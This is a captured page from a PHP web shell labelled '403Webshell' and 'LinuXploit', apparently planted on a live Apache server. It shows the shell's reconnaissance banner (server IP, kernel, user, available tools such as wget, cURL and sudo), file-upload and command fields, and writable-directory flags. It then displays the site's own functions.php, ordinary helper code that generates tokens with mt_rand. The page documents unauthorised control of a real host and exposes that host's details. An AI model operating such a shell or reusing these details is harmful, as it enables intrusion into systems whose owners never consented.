403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/waybooth.com/ten4-hxouse-website/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/waybooth.com/ten4-hxouse-website/app/functions.php
<?php

function getCSS($lib) {
	global $cfg;
	
	$lib_version = explode("?",$lib);
	$lib = $lib_version[0];
	$version = isset($lib_version[1]) ? "?".$lib_version[1] : "";
	
	$output = '<link href="'.$cfg['url'].'view/css/'.$lib.'.css'.$version.'" rel="stylesheet" type="text/css" />';
	//$output = '<link href="./view/css/'.$lib.'.css'.$version.'" rel="stylesheet" type="text/css" />';
	echo ($output."\n\t\t");
}

function getCSSmod($lib) {
	global $cfg;
	
	$output = '<link href="'.$cfg['url'].'node_modules/' . $lib . '.css" rel="stylesheet" type="text/css" />';
	echo ($output."\n\t\t");
}

function getJS($lib, $hosted) {
	global $cfg;
	if ($hosted == 1) {
		$lib_version = explode("?",$lib);
		$lib = $lib_version[0];
		$version = isset($lib_version[1]) ? "?".$lib_version[1] : "";

		$output = '<script src="'.$cfg['url'].'view/js/'.$lib.'.js'.$version.'" type="text/javascript"></script>';
	} else {
		$output = '<script src="'.$lib.'" type="text/javascript"></script>';
	}
	echo ($output."\n\t\t");
}

function getJS_mod($lib) {
	global $cfg;
	$lib_version = explode("?", $lib);
	$lib = $lib_version[0];
	$version = isset($lib_version[1]) ? "?".$lib_version[1] : "";
	$output = '<script src="'.$cfg['url'].'/node_modules/' . $lib . '.js' . $version . '" type="text/javascript"></script>';
	echo ($output."\n\t\t");
}

function trim_value(&$value) {
	$value = trim($value);
}

function isValidLanguage($lang) {
    return in_array($lang, array('en'));
}

function img_url($src) {
  global $cfg;
  return $cfg['img_url'].'/'.$src;
}

function create_token() {
	
	$new_token = generate_token();
	while (!empty(check_for_token($new_token)))
		$new_token = generate_token();
	
	return $new_token;
}

function generate_token() {
	
    $characters = '0123456789abcdefghijklmnopqrstuvwxyz';
    $string = '';

    for ($i = 0; $i < 50; $i++) {
        $string .= $characters[mt_rand(0, strlen($characters) - 1)];
    }

    return $string;
}

function check_for_token($code) {
	
	global $db;
	global $cfg;
	
	try {
		
		$sql = "SELECT * FROM participant WHERE code = :code";
		$current_token = $db->prepare($sql);
		$current_token->execute(array('code'=>$code));
		$particpant = $current_token->fetch(PDO::FETCH_ASSOC);
		
	} catch (exception $e) {
		if ($cfg['stage'] == 'development')
			exit($e->getMessage());
	}
	
	return $particpant;
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit